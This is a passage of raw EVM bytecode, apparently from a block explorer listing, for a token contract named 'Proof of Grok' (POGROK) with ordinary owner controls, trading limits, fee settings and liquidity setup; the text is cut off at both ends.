b5b5f61345a85828601613423565b925050602061346b85828601613423565b9150509250929050565b5f806040838503121561348b5761348a61311e565b5b5f6134988582860161335c565b92505060206134a98582860161335c565b9150509250929050565b6134bc81613141565b82525050565b5f6020820190506134d55f8301846134b3565b92915050565b5f80604083850312156134f1576134f061311e565b5b5f6134fe85828601613168565b925050602061350f85828601613168565b9150509250929050565b5f63ffffffff82169050919050565b61353181613519565b811461353b575f80fd5b50565b5f8135905061354c81613528565b92915050565b5f805f805f60a0868803121561356b5761356a61311e565b5b5f6135788882890161353e565b95505060206135898882890161353e565b945050604061359a8882890161353e565b93505060606135ab8882890161353e565b92505060806135bc8882890161353e565b9150509295509295909350565b5f6135d382613122565b9050919050565b6135e3816135c9565b81146135ed575f80fd5b50565b5f813590506135fe816135da565b92915050565b5f602082840312156136195761361861311e565b5b5f613626848285016135f0565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156136b15780860481111561368d5761368c61362f565b5b600185161561369c5780820291505b80810290506136aa8561365c565b9450613671565b94509492505050565b5f826136c95760019050613784565b816136d6575f9050613784565b81600181146136ec57600281146136f657613725565b6001915050613784565b60ff8411156137085761370761362f565b5b8360020a91508482111561371f5761371e61362f565b5b50613784565b5060208310610133831016604e8410600b841016171561375a5782820a9050838111156137555761375461362f565b5b613784565b6137678484846001613668565b9250905081840481111561377e5761377d61362f565b5b81810290505b9392505050565b5f6137958261317c565b91506137a083613312565b92506137cd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846136ba565b905092915050565b5f6137df8261317c565b91506137ea8361317c565b92508282026137f88161317c565b9150828204841483151761380f5761380e61362f565b5b5092915050565b7f4f6e6c79206f776e65722063616e2063616c6c207468697320666e00000000005f82015250565b5f61384a601b8361307e565b915061385582613816565b602082019050919050565b5f6020820190508181035f8301526138778161383e565b9050919050565b7f43616e6e6f74206578656d7074204c50000000000000000000000000000000005f82015250565b5f6138b260108361307e565b91506138bd8261387e565b602082019050919050565b5f6020820190508181035f8301526138df816138a6565b9050919050565b7f54726164696e67206e6f7420796574206f70656e0000000000000000000000005f82015250565b5f61391a60148361307e565b9150613925826138e6565b602082019050919050565b5f6020820190508181035f8301526139478161390e565b9050919050565b5f6139588261317c565b91506139638361317c565b925082820390508181111561397b5761397a61362f565b5b92915050565b7f43616e6e6f742073776170206d6f7265207468616e20313030250000000000005f82015250565b5f6139b5601a8361307e565b91506139c082613981565b602082019050919050565b5f6020820190508181035f8301526139e2816139a9565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613a208261317c565b9150613a2b8361317c565b925082613a3b57613a3a6139e9565b5b828204905092915050565b7f4e6f2045544800000000000000000000000000000000000000000000000000005f82015250565b5f613a7a60068361307e565b9150613a8582613a46565b602082019050919050565b5f6020820190508181035f830152613aa781613a6e565b9050919050565b5f613ab88261317c565b9150613ac38361317c565b9250828201905080821115613adb57613ada61362f565b5b92915050565b7f747820746f6f206c6f77000000000000000000000000000000000000000000005f82015250565b5f613b15600a8361307e565b9150613b2082613ae1565b602082019050919050565b5f6020820190508181035f830152613b4281613b09565b9050919050565b7f77616c6c657420746f6f206c6f770000000000000000000000000000000000005f82015250565b5f613b7d600e8361307e565b9150613b8882613b49565b602082019050919050565b5f6020820190508181035f830152613baa81613b71565b9050919050565b5f613bbb82613312565b9150613bc683613312565b9250828201905060ff811115613bdf57613bde61362f565b5b92915050565b7f526f756e647472697020746f6f206869676800000000000000000000000000005f82015250565b5f613c1960128361307e565b9150613c2482613be5565b602082019050919050565b5f6020820190508181035f830152613c4681613c0d565b9050919050565b7f4c502063616e6e6f74206265207461782077616c6c65740000000000000000005f82015250565b5f613c8160178361307e565b9150613c8c82613c4d565b602082019050919050565b5f6020820190508181035f830152613cae81613c75565b9050919050565b5f66ffffffffffffff82169050919050565b5f613cd182613cb5565b9150613cdc83613cb5565b9250828202613cea81613cb5565b9150808214613cfc57613cfb61362f565b5b5092915050565b7f4d696e2d4d6178206572726f72000000000000000000000000000000000000005f82015250565b5f613d37600d8361307e565b9150613d4282613d03565b602082019050919050565b5f6020820190508181035f830152613d6481613d2b565b9050919050565b7f4c502063726561746564000000000000000000000000000000000000000000005f82015250565b5f613d9f600a8361307e565b9150613daa82613d6b565b602082019050919050565b5f6020820190508181035f830152613dcc81613d93565b9050919050565b7f74726164696e67206f70656e00000000000000000000000000000000000000005f82015250565b5f613e07600c8361307e565b9150613e1282613dd3565b602082019050919050565b5f6020820190508181035f830152613e3481613dfb565b9050919050565b7f4e6f2045544820696e2063612f6d7367000000000000000000000000000000005f82015250565b5f613e6f60108361307e565b9150613e7a82613e3b565b602082019050919050565b5f6020820190508181035f830152613e9c81613e63565b9050919050565b7f4e6f20746f6b656e7320696e20636100000000000000000000000000000000005f82015250565b5f613ed7600f8361307e565b9150613ee282613ea3565b602082019050919050565b5f6020820190508181035f830152613f0481613ecb565b9050919050565b5f81519050613f1981613152565b92915050565b5f60208284031215613f3457613f3361311e565b5b5f613f4184828501613f0b565b91505092915050565b5f604082019050613f5d5f8301856134b3565b613f6a60208301846134b3565b9392505050565b5f81519050919050565b5f81905092915050565b5f613f8f82613f71565b613f998185613f7b565b9350613fa981856020860161308e565b80840191505092915050565b5f613fc08284613f85565b915081905092915050565b7f4661696c656420616464696e67206c70000000000000000000000000000000005f82015250565b5f613fff60108361307e565b915061400a82613fcb565b602082019050919050565b5f6020820190508181035f83015261402c81613ff3565b9050919050565b5f819050919050565b5f61405661405161404c84613122565b614033565b613122565b9050919050565b5f6140678261403c565b9050919050565b5f6140788261405d565b9050919050565b6140888161406e565b82525050565b5f6020820190506140a15f83018461407f565b92915050565b7f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000005f82015250565b5f6140db601a8361307e565b91506140e6826140a7565b602082019050919050565b5f6020820190508181035f830152614108816140cf565b9050919050565b7f4d455620626c6f636b00000000000000000000000000000000000000000000005f82015250565b5f61414360098361307e565b915061414e8261410f565b602082019050919050565b5f6020820190508181035f83015261417081614137565b9050919050565b7f5458206f766572206c696d6974730000000000000000000000000000000000005f82015250565b5f6141ab600e8361307e565b91506141b682614177565b602082019050919050565b5f6020820190508181035f8301526141d88161419f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f61425c61425761425284614239565b614033565b61317c565b9050919050565b61426c81614242565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6142a481613141565b82525050565b5f6142b5838361429b565b60208301905092915050565b5f602082019050919050565b5f6142d782614272565b6142e1818561427c565b93506142ec8361428c565b805f5b8381101561431c57815161430388826142aa565b975061430e836142c1565b9250506001810190506142ef565b5085935050505092915050565b5f60a08201905061433c5f830188613220565b6143496020830187614263565b818103604083015261435b81866142cd565b905061436a60608301856134b3565b6143776080830184613220565b9695505050505050565b5f60c0820190506143945f8301896134b3565b6143a16020830188613220565b6143ae6040830187614263565b6143bb6060830186614263565b6143c860808301856134b3565b6143d560a0830184613220565b979650505050505050565b5f815190506143ee81613185565b92915050565b5f805f6060848603121561440b5761440a61311e565b5b5f614418868287016143e0565b9350506020614429868287016143e0565b925050604061443a868287016143e0565b9150509250925092565b5f602082840312156144595761445861311e565b5b5f614466848285016143e0565b9150509291505056fea2646970667358221220a9a432d9f93dfe3cb5299548861d8099a6139716a0a17629c941eb1aa09cd5f964736f6c63430008150033

Deployed Bytecode

0x60806040526004361061019f575f3560e01c8063715018a6116100eb578063b3de9b5d11610089578063e537a83411610063578063e537a834146105bf578063e8078d94146105e7578063f2fde38b146105f1578063f8b45b0514610619576101a6565b8063b3de9b5d1461052f578063c3f70b5214610559578063dd62ed3e14610583576101a6565b806395d89b41116100c557806395d89b4114610477578063a5e992bb146104a1578063a9059cbb146104cb578063aacebbe314610507576101a6565b8063715018a61461040d57806375f0a874146104235780638da5cb5b1461044d576101a6565b80632fb528ba11610158578063368f480011610132578063368f480014610357578063470624021461037f5780634fcd2446146103a957806370a08231146103d1576101a6565b80632fb528ba146102c857806330449efd146102f0578063313ce5671461032d576101a6565b806306fdde03146101aa578063095ea7b3146101d457806318160ddd1461021057806318839bc31461023a57806323b872dd146102625780632b14ca561461029e576101a6565b366101a657005b5f80fd5b3480156101b5575f80fd5b506101be610643565b6040516101cb91906130fe565b60405180910390f35b3480156101df575f80fd5b506101fa60048036038101906101f591906131af565b610680565b6040516102079190613207565b60405180910390f35b34801561021b575f80fd5b5061022461076d565b604051610231919061322f565b60405180910390f35b348015610245575f80fd5b50610260600480360381019061025b9190613272565b610791565b005b34801561026d575f80fd5b50610288600480360381019061028391906132c2565b610964565b6040516102959190613207565b60405180910390f35b3480156102a9575f80fd5b506102b2610a4f565b6040516102bf919061332d565b60405180910390f35b3480156102d3575f80fd5b506102ee60048036038101906102e99190613370565b610a64565b005b3480156102fb575f80fd5b50610316600480360381019061031191906133ae565b610c43565b6040516103249291906133d9565b60405180910390f35b348015610338575f80fd5b50610341610ce2565b60405161034e919061332d565b60405180910390f35b348015610362575f80fd5b5061037d60048036038101906103789190613437565b610cea565b005b34801561038a575f80fd5b50610393610ea7565b6040516103a0919061332d565b60405180910390f35b3480156103b4575f80fd5b506103cf60048036038101906103ca9190613475565b610ebd565b005b3480156103dc575f80fd5b506103f760048036038101906103f291906133ae565b610fd5565b604051610404919061322f565b60405180910390f35b348015610418575f80fd5b5061042161101b565b005b34801561042e575f80fd5b50610437611120565b60405161044491906134c2565b60405180910390f35b348015610458575f80fd5b50610461611148565b60405161046e91906134c2565b60405180910390f35b348015610482575f80fd5b5061048b61116f565b60405161049891906130fe565b60405180910390f35b3480156104ac575f80fd5b506104b56111ac565b6040516104c2919061322f565b60405180910390f35b3480156104d6575f80fd5b506104f160048036038101906104ec91906131af565b6111b5565b6040516104fe9190613207565b60405180910390f35b348015610512575f80fd5b5061052d600480360381019061052891906133ae565b611211565b005b34801561053a575f80fd5b50610543611415565b604051610550919061322f565b60405180910390f35b348015610564575f80fd5b5061056d61141e565b60405161057a919061322f565b60405180910390f35b34801561058e575f80fd5b506105a960048036038101906105a491906134db565b611427565b6040516105b6919061322f565b60405180910390f35b3480156105ca575f80fd5b506105e560048036038101906105e09190613552565b6114a9565b005b6105ef611638565b005b3480156105fc575f80fd5b5061061760048036038101906106129190613604565b611c86565b005b348015610624575f80fd5b5061062d611d8c565b60405161063a919061322f565b60405180910390f35b60606040518060400160405280600d81526020017f50726f6f66206f662047726f6b00000000000000000000000000000000000000815250905090565b5f81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161075b919061322f565b60405180910390a36001905092915050565b5f6009600a61077c919061378b565b64019b45a50061078c91906137d5565b905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081590613860565b60405180910390fd5b80806108275750815b156108b75760135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156108b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ad906138c8565b60405180910390fd5b5b81600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f61096e84611d95565b6109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490613930565b60405180910390fd5b81600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a34919061394e565b92505081905550610a46848484611e67565b90509392505050565b5f60035f9054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610af1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae890613860565b60405180910390fd5b6001601460016101000a81548160ff02191690831515021790555060648260ff161115610b53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4a906139cb565b60405180910390fd5b5f60648360ff16600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ba291906137d5565b610bac9190613a16565b90506009600a610bbc919061378b565b811115610bcd57610bcc81612539565b5b8115610c24575f4790505f8111610c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1090613a90565b60405180910390fd5b610c22816126d3565b505b505f601460016101000a81548160ff0219169083151502179055505050565b5f80600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1691509150915091565b5f6009905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e90613860565b60405180910390fd5b5f60016103e88461ffff166009600a610d90919061378b565b64019b45a500610da091906137d5565b610daa91906137d5565b610db49190613a16565b610dbe9190613aae565b9050600554811015610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90613b2b565b60405180910390fd5b806005819055505f60016103e88461ffff166009600a610e25919061378b565b64019b45a500610e3591906137d5565b610e3f91906137d5565b610e499190613a16565b610e539190613aae565b9050600654811015610e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9190613b93565b60405180910390fd5b8060068190555050505050565b5f600360019054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4190613860565b60405180910390fd5b60028183610f589190613bb1565b60ff161115610f9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9390613c2f565b60405180910390fd5b81600360016101000a81548160ff021916908360ff1602179055508060035f6101000a81548160ff021916908360ff1602179055505050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109f90613860565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f60405161111691906134c2565b60405180910390a1565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f504f47524f4b0000000000000000000000000000000000000000000000000000815250905090565b5f600854905090565b5f6111bf33611d95565b6111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f590613930565b60405180910390fd5b611209338484611e67565b905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461129e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129590613860565b60405180910390fd5b60135f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90613c97565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600754905090565b5f600554905090565b5f600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d90613860565b60405180910390fd5b8363ffffffff168563ffffffff166009600a611552919061378b565b64019b45a50061156291906137d5565b61156c91906137d5565b6115769190613a16565b6007819055508163ffffffff168363ffffffff166009600a611598919061378b565b64019b45a5006115a891906137d5565b6115b291906137d5565b6115bc9190613a16565b60088190555066038d7ea4c680008163ffffffff166115db9190613cc7565b66ffffffffffffff166009819055506007546008541015611631576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162890613d4d565b60405180910390fd5b5050505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bc90613860565b60405180910390fd5b6001601460016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461176f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176690613db5565b60405180910390fd5b60145f9054906101000a900460ff16156117be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b590613e1d565b60405180910390fd5b5f3411806117cb57505f47115b61180a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180190613e85565b60405180910390fd5b5f600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411611889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188090613eed565b60405180910390fd5b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119179190613f1f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401611965929190613f4a565b6020604051808303815f875af1158015611981573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119a59190613f1f565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a2b600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20544761273b565b600a54600b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a9a919061394e565b925050819055505f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611b6a9190613fb5565b5f604051808303815f865af19150503d805f8114611ba3576040519150601f19603f3d011682016040523d82523d5f602084013e611ba8565b606091505b5050905080611bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be390614015565b60405180910390fd5b8060135f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550611c69612812565b505f601460016101000a81548160ff021916908315150217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0a90613860565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611d81919061408e565b60405180910390a150565b5f600654905090565b5f805f905060145f9054906101000a900460ff1615611db75760019050611e5e565b600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e535750600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611e5d57600190505b5b80915050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ecd906140f1565b60405180910390fd5b60145f9054906101000a900460ff16611fc557600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f855750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbb90613930565b60405180910390fd5b5b601460019054906101000a900460ff16158015612028575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156120395750612038826128c3565b5b1561204757612046612a1f565b5b60045443106122dd57600254431080156120a7575060135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561211b573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461211a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211190614159565b60405180910390fd5b5b61025860025461212b9190613aae565b4310801561217f575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156121b757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156122dc576001600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282829054906101000a900460ff166122249190613bb1565b92506101000a81548160ff021916908360ff1602179055506002600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff1611156122db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d290614159565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561234557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561239c57505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156123ec576123ac848484612b41565b6123eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e2906141c1565b60405180910390fd5b5b5f6123f8858585612cc9565b90505f8184612407919061394e565b905083600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254612455919061394e565b9250508190555081600a5f82825461246d9190613aae565b9250508190555080600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546124c09190613aae565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612524919061322f565b60405180910390a36001925050509392505050565b61254281612e92565b5f600267ffffffffffffffff81111561255e5761255d6141df565b5b60405190808252806020026020018201604052801561258c5781602001602082028036833780820191505090505b50905030815f815181106125a3576125a261420c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106126065761260561420c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016126a2959493929190614329565b5f604051808303815f87803b1580156126b9575f80fd5b505af11580156126cb573d5f803e3d5ffd5b505050505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612737573d5f803e3d5ffd5b5050565b61274482612e92565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016127ca96959493929190614381565b60606040518083038185885af11580156127e6573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061280b91906143f4565b5050505050565b60646009600a612822919061378b565b64019b45a50061283291906137d5565b600261283e91906137d5565b6128489190613a16565b60058190555060646009600a61285e919061378b565b64019b45a50061286e91906137d5565b600261287a91906137d5565b6128849190613a16565b600681905550600160145f6101000a81548160ff021916908315150217905550436004819055506004546002546128bb9190613aae565b600281905550565b5f805f6009541115612a11575f600b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a0823160125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016129a091906134c2565b602060405180830381865afa1580156129bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906129df9190614444565b90505f8282876129ef91906137d5565b6129f99190613a16565b90506009548110612a0957600193505b505050612a16565b600190505b80915050919050565b6001601460016101000a81548160ff0219169083151502179055505f600a5490506007548110158015612a5d575060145f9054906101000a900460ff165b15612b24576008548110612a715760085490505b5f8190506009600a612a83919061378b565b6001612a8f91906137d5565b811115612b0b5781600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254612ae29190613aae565b92505081905550612af281612539565b81600a5f828254612b03919061394e565b925050819055505b5f4790505f811115612b2157612b20816126d3565b5b50505b505f601460016101000a81548160ff021916908315150217905550565b5f806001905060145f9054906101000a900460ff168015612ba95750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612bfc5750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612cbe57600554831115612c13575f9050612cbd565b60135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612cb3575060065483600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb19190613aae565b115b15612cbc575f90505b5b5b809150509392505050565b5f8060145f9054906101000a900460ff161580612d2c5750600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80612d7d5750600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612d8a575f9050612e87565b60135f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612e0a576064600360019054906101000a900460ff1660ff1684612df991906137d5565b612e039190613a16565b9050612e86565b60135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612e8557606460035f9054906101000a900460ff1660ff1684612e7891906137d5565b612e829190613a16565b90505b5b5b809150509392505050565b80600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ff